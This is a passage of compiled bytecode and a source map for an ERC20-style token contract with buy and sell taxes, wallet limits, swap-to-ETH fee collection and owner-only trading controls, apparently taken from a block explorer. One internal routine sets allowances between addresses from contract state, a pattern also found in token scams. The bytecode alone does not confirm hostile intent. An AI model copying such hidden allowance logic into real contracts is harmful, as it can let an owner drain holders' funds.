01b038216610aba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046c565b6001600160a01b038216610be05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046c565b5f8111610c415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046c565b6013545f908190600160b01b900460ff161580610c675750601354600160a81b900460ff165b15610d20576001600160a01b0385165f90815260016020526040902054610c8f908490611783565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610cbe908490611796565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d119087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d4a57505f546001600160a01b03858116911614155b15610f8057600f5415610d5c57506010545b6013546001600160a01b038681169116148015610d8757506012546001600160a01b03858116911614155b8015610dab57506001600160a01b0384165f9081526003602052604090205460ff16155b15610eaa57600454831115610e025760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7436392e00000000000000604482015260640161046c565b60055483610e24866001600160a01b03165f9081526001602052604090205490565b610e2e9190611796565b1115610e7c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046c565b600c54600f5411610e8f57600854610e93565b600a545b600f80549192505f610ea4836117a9565b91905055505b6013546001600160a01b038581169116148015610ed057506001600160a01b0385163014155b15610eef57600d54600f5411610ee857600954610eec565b600b545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f2557506013546001600160a01b038681169116145b8015610f3a5750601354600160b01b900460ff165b15610f7e5760065481118015610f535750600e54600f54115b15610f7557610f75610f7085610f6b8460075461117e565b61117e565b611195565b610f7e47611305565b505b801561101057610f9b6064610f958386611340565b906113be565b305f90815260016020526040902054909250610fb790836113ff565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110079086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054611032908461145d565b6001600160a01b0386165f90815260016020526040902055611075611057848461145d565b6001600160a01b0386165f90815260016020526040902054906113ff565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110be868661145d565b604051908152602001610d11565b5f81848411156110ef5760405162461bcd60e51b815260040161046c91906114ca565b505f6110fb8486611783565b95945050505050565b604080518082019091526001600160a01b038085168252831660208201526006545f9190611133906064611340565b61113e9060966116d2565b611149906064611796565b81516001600160a01b039081165f90815260026020908152604080832095820151909316825293909352909120555092915050565b5f81831161118c578261118e565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111db576111db6117c1565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611232573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611256919061171e565b81600181518110611269576112696117c1565b6001600160a01b03928316602091820292909201015260125461128f91309116846109f7565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c79085905f908690309042906004016117d5565b5f604051808303815f87803b1580156112de575f80fd5b505af11580156112f0573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561133c573d5f803e3d5ffd5b5050565b5f825f0361134f57505f6103b5565b5f61135a83856116d2565b9050826113678583611845565b1461118e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046c565b5f61118e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061149e565b5f8061140b8385611796565b90508381101561118e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046c565b5f61118e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110cc565b5f81836114be5760405162461bcd60e51b815260040161046c91906114ca565b505f6110fb8486611845565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461049e575f80fd5b5f8060408385031215611524575f80fd5b823561152f816114ff565b946020939093013593505050565b5f805f6060848603121561154f575f80fd5b833561155a816114ff565b9250602084013561156a816114ff565b929592945050506040919091013590565b5f6020828403121561158b575f80fd5b813561118e816114ff565b5f80604083850312156115a7575f80fd5b82356115b2816114ff565b915060208301356115c2816114ff565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561161c57808504811115611600576116006115cd565b600184161561160e57908102905b60019390931c9280026115e5565b935093915050565b5f82611632575060016103b5565b8161163e57505f6103b5565b8160018114611654576002811461165e5761167a565b60019150506103b5565b60ff84111561166f5761166f6115cd565b50506001821b6103b5565b5060208310610133831016604e8410600b841016171561169d575081810a6103b5565b6116a95f1984846115e1565b805f19048211156116bc576116bc6115cd565b029392505050565b5f61118e60ff841683611624565b80820281158282048414176103b5576103b56115cd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561172e575f80fd5b815161118e816114ff565b5f805f6060848603121561174b575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611774575f80fd5b8151801515811461118e575f80fd5b818103818111156103b5576103b56115cd565b808201808211156103b5576103b56115cd565b5f600182016117ba576117ba6115cd565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118255783516001600160a01b03168352602093840193909201916001016117fe565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261185f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202ab4e4920fe1d68c647e48b868c7f2cd2605e05ea68be994d37755fe946074d164736f6c634300081a0033
Deployed Bytecode Sourcemap
3561:7792:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5389:83;;;;;;;;;;-1:-1:-1;5459:5:0;;;;;;;;;;;;-1:-1:-1;;;5459:5:0;;;;5389:83;;;;;;;:::i;:::-;;;;;;;;6214:161;;;;;;;;;;-1:-1:-1;6214:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6214:161:0;945:187:1;5664:97:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;5664:97:0;1137:177:1;4180:48:0;;;;;;;;;;;;;;;;6381:313;;;;;;;;;;-1:-1:-1;6381:313:0;;;;;:::i;:::-;;:::i;5571:83::-;;;;;;;;;;-1:-1:-1;5571:83:0;;3866:1;1974:36:1;;1962:2;1947:18;5571:83:0;1832:184:1;10206:108:0;;;;;;;;;;;;;:::i;:::-;;9593:168;;;;;;;;;;;;;:::i;4235:47::-;;;;;;;;;;;;;;;;5767:119;;;;;;;;;;-1:-1:-1;5767:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5860:18:0;5833:7;5860:18;;;:9;:18;;;;;;;5767:119;2648:148;;;;;;;;;;;;;:::i;4124:49::-;;;;;;;;;;;;;;;;2434:79;;;;;;;;;;-1:-1:-1;2472:7:0;2499:6;2434:79;;-1:-1:-1;;;;;2499:6:0;;;2419:51:1;;2407:2;2392:18;2434:79:0;2273:203:1;5478:87:0;;;;;;;;;;-1:-1:-1;5550:7:0;;;;;;;;;;;;-1:-1:-1;;;5550:7:0;;;;5478:87;;10320:142;;;;;;;;;;-1:-1:-1;10320:142:0;;;;;:::i;:::-;;:::i;5892:167::-;;;;;;;;;;-1:-1:-1;5892:167:0;;;;;:::i;:::-;;:::i;10503:847::-;;;;;;;;;;;;;:::i;6065:143::-;;;;;;;;;;-1:-1:-1;6065:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6173:18:0;;;6146:7;6173:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6065:143;4068:49;;;;;;;;;;;;;;;;6214:161;6289:4;6306:39;2093:10;6329:7;6338:6;6306:8;:39::i;:::-;-1:-1:-1;6363:4:0;6214:161;;;;;:::o;5664:97::-;5717:7;3926:13;3866:1;3926:2;:13;:::i;:::-;3911:28;;:12;:28;:::i;:::-;5737:16;;5664:97;:::o;6381:313::-;6479:4;6496:36;6506:6;6514:9;6525:6;6496:9;:36::i;:::-;6543:121;6552:6;2093:10;6574:89;6612:6;6574:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6574:19:0;;;;;;:11;:19;;;;;;;;2093:10;6574:33;;;;;;;;;;:37;:89::i;:::-;6543:8;:121::i;:::-;-1:-1:-1;6682:4:0;6381:313;;;;;:::o;10206:108::-;2561:6;;-1:-1:-1;;;;;2561:6:0;2093:10;2561:22;2553:67;;;;-1:-1:-1;;;2553:67:0;;;;;;;:::i;:::-;;;;;;;;;10255:51:::1;::::0;10263:10:::1;::::0;10284:21:::1;10255:51:::0;::::1;;;::::0;::::1;::::0;;;10284:21;10263:10;10255:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10206:108::o:0;9593:168::-;2561:6;;-1:-1:-1;;;;;2561:6:0;2093:10;2561:22;2553:67;;;;-1:-1:-1;;;2553:67:0;;;;;;;:::i;:::-;3926:13:::1;3866:1;3926:2;:13;:::i;:::-;3911:28;::::0;:12:::1;:28;:::i;:::-;9647:12;:24:::0;3926:13:::1;3866:1;3926:2;:13;:::i;:::-;3911:28;::::0;:12:::1;:28;:::i;:::-;9683:12;:24:::0;9723:29:::1;3926:13;3866:1;3926:2;:13;:::i;:::-;3911:28;::::0;:12:::1;:28;:::i;:::-;9723:29;::::0;1283:25:1;;;1271:2;1256:18;9723:29:0::1;;;;;;;9593:168::o:0;2648:148::-;2561:6;;-1:-1:-1;;;;;2561:6:0;2093:10;2561:22;2553:67;;;;-1:-1:-1;;;2553:67:0;;;;;;;:::i;:::-;2755:1:::1;2739:6:::0;;2718:40:::1;::::0;-1:-1:-1;;;;;2739:6:0;;::::1;::::0;2718:40:::1;::::0;2755:1;;2718:40:::1;2786:1;2769:19:::0;;-1:-1:-1;;;;;;2769:19:0::1;::::0;;2648:148::o;10320:142::-;2561:6;;-1:-1:-1;;;;;2561:6:0;2093:10;2561:22;2553:67;;;;-1:-1:-1;;;2553:67:0;;;;;;;:::i;:::-;10396:10:::1;:18:::0;;-1:-1:-1;;;;;10396:18:0;;::::1;-1:-1:-1::0;;;;;;10396:18:0;;::::1;::::0;::::1;::::0;;:10:::1;10425:22:::0;;;:15:::1;:22;::::0;;;;:29;;-1:-1:-1;;10425:29:0::1;10396:18:::0;10425:29:::1;::::0;;10320:142::o;5892:167::-;5970:4;5987:42;2093:10;6011:9;6022:6;5987:9;:42::i;10503:847::-;2561:6;;-1:-1:-1;;;;;2561:6:0;2093:10;2561:22;2553:67;;;;-1:-1:-1;;;2553:67:0;;;;;;;:::i;:::-;10565:11:::1;::::0;-1:-1:-1;;;10565:11:0;::::1;;;10564:12;10556:48;;;::::0;-1:-1:-1;;;10556:48:0;;5434:2:1;10556:48:0::1;::::0;::::1;5416:21:1::0;5473:2;5453:18;;;5446:30;5512:25;5492:18;;;5485:53;5555:18;;10556:48:0::1;5232:347:1::0;10556:48:0::1;10615:13;:102:::0;;-1:-1:-1;;;;;;10615:102:0::1;10664:42;10615:102:::0;;::::1;::::0;;;10728:58:::1;::::0;10745:4:::1;::::0;3926:13:::1;3866:1;3926:2;:13;:::i;:::-;3911:28;::::0;:12:::1;:28;:::i;10728:58::-;10829:13;;;;;;;;;-1:-1:-1::0;;;;;10829:13:0::1;-1:-1:-1::0;;;;;10829:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10811:53:0::1;;10887:4;10907:13;;;;;;;;;-1:-1:-1::0;;;;;10907:13:0::1;-1:-1:-1::0;;;;;10907:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10811:127;::::0;-1:-1:-1;;;;;;10811:127:0::1;::::0;;;;;;-1:-1:-1;;;;;6032:32:1;;;10811:127:0::1;::::0;::::1;6014:51:1::0;6101:32;;6081:18;;;6074:60;5987:18;;10811:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10797:11;:141:::0;;-1:-1:-1;;;;;;10797:141:0::1;-1:-1:-1::0;;;;;10797:141:0;;::::1;::::0;;::::1;::::0;;;10958:10:::1;::::0;10939:35:::1;::::0;10958:10:::1;-1:-1:-1::0;10939:6:0::1;:35::i;:::-;-1:-1:-1::0;10985:13:0::1;::::0;-1:-1:-1;;;;;10985:13:0::1;:29;11022:21;11067:4;11087:24;11067:4:::0;-1:-1:-1;;;;;5860:18:0;5833:7;5860:18;;;:9;:18;;;;;;;5767:119;11087:24:::1;11126:1;11142::::0;11158:7:::1;2472::::0;2499:6;-1:-1:-1;;;;;2499:6:0;;2434:79;11158:7:::1;10985:221;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10985:221:0;;;-1:-1:-1;;;;;6466:32:1;;;10985:221:0::1;::::0;::::1;6448:51:1::0;6515:18;;;6508:34;;;;6558:18;;;6551:34;;;;6601:18;;;6594:34;6665:32;;;6644:19;;;6637:61;11180:15:0::1;6714:19:1::0;;;6707:35;6420:19;;10985:221:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11224:11:0::1;::::0;11253:13:::1;::::0;11217:67:::1;::::0;-1:-1:-1;;;11217:67:0;;-1:-1:-1;;;;;11253:13:0;;::::1;11217:67;::::0;::::1;7388:51:1::0;-1:-1:-1;;7455:18:1;;;7448:34;11224:11:0;::::1;::::0;-1:-1:-1;11217:27:0::1;::::0;7361:18:1;;11217:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11295:11:0::1;:18:::0;;-1:-1:-1;;;;11324:18:0;-1:-1:-1;;;11324:18:0;;;10503:847::o;6700:335::-;-1:-1:-1;;;;;6793:19:0;;6785:68;;;;-1:-1:-1;;;6785:68:0;;7977:2:1;6785:68:0;;;7959:21:1;8016:2;7996:18;;;7989:30;8055:34;8035:18;;;8028:62;-1:-1:-1;;;8106:18:1;;;8099:34;8150:19;;6785:68:0;7775:400:1;6785:68:0;-1:-1:-1;;;;;6872:21:0;;6864:68;;;;-1:-1:-1;;;6864:68:0;;8382:2:1;6864:68:0;;;8364:21:1;8421:2;8401:18;;;8394:30;8460:34;8440:18;;;8433:62;-1:-1:-1;;;8511:18:1;;;8504:32;8553:19;;6864:68:0;8180:398:1;6864:68:0;-1:-1:-1;;;;;6943:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6995:32;;1283:25:1;;;6995:32:0;;1256:18:1;6995:32:0;;;;;;;6700:335;;;:::o;7517:2070::-;-1:-1:-1;;;;;7607:18:0;;7599:68;;;;-1:-1:-1;;;7599:68:0;;8785:2:1;7599:68:0;;;8767:21:1;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:35;8959:19;;7599:68:0;8583:401:1;7599:68:0;-1:-1:-1;;;;;7686:16:0;;7678:64;;;;-1:-1:-1;;;7678:64:0;;9191:2:1;7678:64:0;;;9173:21:1;9230:2;9210:18;;;9203:30;9269:34;9249:18;;;9242:62;-1:-1:-1;;;9320:18:1;;;9313:33;9363:19;;7678:64:0;8989:399:1;7678:64:0;7772:1;7761:8;:12;7753:66;;;;-1:-1:-1;;;7753:66:0;;9595:2:1;7753:66:0;;;9577:21:1;9634:2;9614:18;;;9607:30;9673:34;9653:18;;;9646:62;-1:-1:-1;;;9724:18:1;;;9717:39;9773:19;;7753:66:0;9393:405:1;7753:66:0;7878:11;;7830:13;;;;-1:-1:-1;;;7878:11:0;;;;7877:12;;:22;;-1:-1:-1;7893:6:0;;-1:-1:-1;;;7893:6:0;;;;7877:22;7873:223;;;-1:-1:-1;;;;;7934:15:0;;;;;;:9;:15;;;;;;:26;;7952:8;;7934:26;:::i;:::-;-1:-1:-1;;;;;7916:15:0;;;;;;;:9;:15;;;;;;:44;;;;7991:13;;;;;;;:24;;8007:8;;7991:24;:::i;:::-;-1:-1:-1;;;;;7975:13:0;;;;;;;:9;:13;;;;;;;:40;;;;8035:28;;;;;;;;;;8054:8;1283:25:1;;1271:2;1256:18;;1137:177;8035:28:0;;;;;;;;8078:7;;7517:2070;;;:::o;7873:223::-;2472:7;2499:6;-1:-1:-1;;;;;8110:15:0;;;2499:6;;8110:15;;;;:32;;-1:-1:-1;2472:7:0;2499:6;-1:-1:-1;;;;;8129:13:0;;;2499:6;;8129:13;;8110:32;8106:1086;;;8162:9;;:11;8159:72;;-1:-1:-1;8202:12:0;;8159:72;8257:11;;-1:-1:-1;;;;;8249:19:0;;;8257:11;;8249:19;:51;;;;-1:-1:-1;8286:13:0;;-1:-1:-1;;;;;8272:28:0;;;8286:13;;8272:28;;8249:51;:76;;;;-1:-1:-1;;;;;;8306:19:0;;;;;;:15;:19;;;;;;;;8304:21;8249:76;8245:393;;;8367:12;;8355:8;:24;;8347:62;;;;-1:-1:-1;;;8347:62:0;;10268:2:1;8347:62:0;;;10250:21:1;10307:2;10287:18;;;10280:30;10346:27;10326:18;;;10319:55;10391:18;;8347:62:0;10066:349:1;8347:62:0;8464:12;;8452:8;8436:13;8446:2;-1:-1:-1;;;;;5860:18:0;5833:7;5860:18;;;:9;:18;;;;;;;5767:119;8436:13;:24;;;;:::i;:::-;:40;;8428:79;;;;-1:-1:-1;;;8428:79:0;;10622:2:1;8428:79:0;;;10604:21:1;10661:2;10641:18;;;10634:30;10700:28;10680:18;;;10673:56;10746:18;;8428:79:0;10420:350:1;8428:79:0;8546:15;;8536:9;;:25;8535:55;;8576:14;;8535:55;;;8563:12;;8535:55;8610:9;:11;;8526:65;;-1:-1:-1;8610:9:0;:11;;;:::i;:::-;;;;;;8245:393;8661:11;;-1:-1:-1;;;;;8655:17:0;;;8661:11;;8655:17;:41;;;;-1:-1:-1;;;;;;8676:20:0;;8691:4;8676:20;;8655:41;8652:149;;;8737:16;;8727:9;;:26;8726:58;;8769:15;;8726:58;;;8755:13;;8726:58;8717:68;;8652:149;8864:4;8815:28;5860:18;;;:9;:18;;;;;;8890:6;;-1:-1:-1;;;8890:6:0;;;;8889:7;:28;;;;-1:-1:-1;8906:11:0;;-1:-1:-1;;;;;8900:17:0;;;8906:11;;8900:17;8889:28;:43;;;;-1:-1:-1;8921:11:0;;-1:-1:-1;;;8921:11:0;;;;8889:43;8885:296;;;8979:11;;8956:20;:34;:68;;;;;9006:18;;8994:9;;:30;8956:68;8953:161;;;9047:67;9057:56;9063:8;9073:39;9079:20;9101:10;;9073:5;:39::i;:::-;9057:5;:56::i;:::-;9047:9;:67::i;:::-;9133:32;9143:21;9133:9;:32::i;:::-;8144:1048;8106:1086;9205:9;;9202:204;;9236:28;9260:3;9236:19;:5;9246:8;9236:9;:19::i;:::-;:23;;:28::i;:::-;9322:4;9304:24;;;;:9;:24;;;;;;9230:34;;-1:-1:-1;9304:35:0;;9230:34;9304:28;:35::i;:::-;9297:4;9279:24;;;;:9;:24;;;;;;;:60;;;;9359:35;;-1:-1:-1;;;;;9359:35:0;;;;;;;9388:5;1283:25:1;;1271:2;1256:18;;1137:177;9359:35:0;;;;;;;;9202:204;-1:-1:-1;;;;;9432:15:0;;;;;;:9;:15;;;;;;:29;;9452:8;9432:19;:29::i;:::-;-1:-1:-1;;;;;9416:15:0;;;;;;:9;:15;;;;;:45;9486:38;9504:19;:8;9517:5;9504:12;:19::i;:::-;-1:-1:-1;;;;;9486:13:0;;;;;;:9;:13;;;;;;;:17;:38::i;:::-;-1:-1:-1;;;;;9472:13:0;;;;;;;:9;:13;;;;;:52;;;;9540:39;;;9559:19;:8;9572:5;9559:12;:19::i;:::-;9540:39;;1283:25:1;;;1271:2;1256:18;9540:39:0;1137:177:1;517:190:0;603:7;639:12;631:6;;;;623:29;;;;-1:-1:-1;;;623:29:0;;;;;;;;:::i;:::-;-1:-1:-1;663:9:0;675:5;679:1;675;:5;:::i;:::-;663:17;517:190;-1:-1:-1;;;;;517:190:0:o;9968:232::-;10056:36;;;;;;;;;-1:-1:-1;;;;;10056:36:0;;;;;;;;;;;10146:11;;10039:4;;10056:36;10146:20;;10162:3;10146:15;:20::i;:::-;10137:29;;10138:6;10137:29;:::i;:::-;:33;;10167:3;10137:33;:::i;:::-;10115:8;;-1:-1:-1;;;;;10103:21:0;;;;;;;:11;10115:8;10103:21;;;;;;;10125:8;;;;10103:31;;;;;;;;;;;;:67;-1:-1:-1;10188:4:0;;-1:-1:-1;;9968:232:0:o;9862:100::-;9921:7;9948:1;9946;:3;9945:9;;9953:1;9945:9;;;9951:1;9945:9;9938:16;9862:100;-1:-1:-1;;;9862:100:0:o;7041:470::-;4969:6;:13;;-1:-1:-1;;;;4969:13:0;-1:-1:-1;;;4969:13:0;;;7136:16:::1;::::0;;7150:1:::1;7136:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7136:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7136:16:0::1;7112:40;;7181:4;7163;7168:1;7163:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7163:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7207:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;7207:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;7163:7;;7207:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7197:4;7202:1;7197:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7197:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;7270:13:::1;::::0;7238:60:::1;::::0;7255:4:::1;::::0;7270:13:::1;7286:11:::0;7238:8:::1;:60::i;:::-;7309:13;::::0;:194:::1;::::0;-1:-1:-1;;;7309:194:0;;-1:-1:-1;;;;;7309:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;7388:11;;7309:13:::1;::::0;7430:4;;7457::::1;::::0;7477:15:::1;::::0;7309:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5005:6:0;:14;;-1:-1:-1;;;;5005:14:0;;;-1:-1:-1;;;;7041:470:0:o;9767:89::-;9821:10;;:27;;-1:-1:-1;;;;;9821:10:0;;;;:27;;;;;9841:6;;9821:10;:27;:10;:27;9841:6;9821:10;:27;;;;;;;;;;;;;;;;;;;;;9767:89;:::o;715:246::-;773:7;797:1;802;797:6;793:47;;-1:-1:-1;827:1:0;820:8;;793:47;850:9;862:5;866:1;862;:5;:::i;:::-;850:17;-1:-1:-1;895:1:0;886:5;890:1;850:17;886:5;:::i;:::-;:10;878:56;;;;-1:-1:-1;;;878:56:0;;12567:2:1;878:56:0;;;12549:21:1;12606:2;12586:18;;;12579:30;12645:34;12625:18;;;12618:62;-1:-1:-1;;;12696:18:1;;;12689:31;12737:19;;878:56:0;12365:397:1;969:132:0;1027:7;1054:39;1058:1;1061;1054:39;;;;;;;;;;;;;;;;;:3;:39::i;186:179::-;244:7;;276:5;280:1;276;:5;:::i;:::-;264:17;;305:1;300;:6;;292:46;;;;-1:-1:-1;;;292:46:0;;12969:2:1;292:46:0;;;12951:21:1;13008:2;12988:18;;;12981:30;13047:29;13027:18;;;13020:57;13094:18;;292:46:0;12767:351:1;373:136:0;431:7;458:43;462:1;465;458:43;;;;;;;;;;;;;;;;;:3;:43::i;1109:189::-;1195:7;1230:12;1223:5;1215:28;;;;-1:-1:-1;;;1215:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1254:9:0;1266:5;1270:1;1266;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216:3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;3646:902;-1:-1:-1;;;3646:902:1:o;4553:140::-;4611:5;4640:47;4681:4;4671:8;4667:19;4661:4;4640:47;:::i;4698:168::-;4771:9;;;4802;;4819:15;;;4813:22;;4799:37;4789:71;;4840:18;;:::i;4871:356::-;5073:2;5055:21;;;5092:18;;;5085:30;5151:34;5146:2;5131:18;;5124:62;5218:2;5203:18;;4871:356::o;5584:251::-;5654:6;5707:2;5695:9;5686:7;5682:23;5678:32;5675:52;;;5723:1;5720;5713:12;5675:52;5755:9;5749:16;5774:31;5799:5;5774:31;:::i;6753:456::-;6841:6;6849;6857;6910:2;6898:9;6889:7;6885:23;6881:32;6878:52;;;6926:1;6923;6916:12;6878:52;-1:-1:-1;;6971:16:1;;7077:2;7062:18;;7056:25;7173:2;7158:18;;;7152:25;6971:16;;7056:25;;-1:-1:-1;7152:25:1;6753:456;-1:-1:-1;6753:456:1:o;7493:277::-;7560:6;7613:2;7601:9;7592:7;7588:23;7584:32;7581:52;;;7629:1;7626;7619:12;7581:52;7661:9;7655:16;7714:5;7707:13;7700:21;7693:5;7690:32;7680:60;;7736:1;7733;7726:12;9803:128;9870:9;;;9891:11;;;9888:37;;;9905:18;;:::i;9936:125::-;10001:9;;;10022:10;;;10019:36;;;10035:18;;:::i;10775:135::-;10814:3;10835:17;;;10832:43;;10855:18;;:::i;:::-;-1:-1:-1;10902:1:1;10891:13;;10775:135::o;10915:127::-;10976:10;10971:3;10967:20;10964:1;10957:31;11007:4;11004:1;10997:15;11031:4;11028:1;11021:15;11179:959;11441:4;11489:3;11478:9;11474:19;11520:6;11509:9;11502:25;11563:6;11558:2;11547:9;11543:18;11536:34;11606:3;11601:2;11590:9;11586: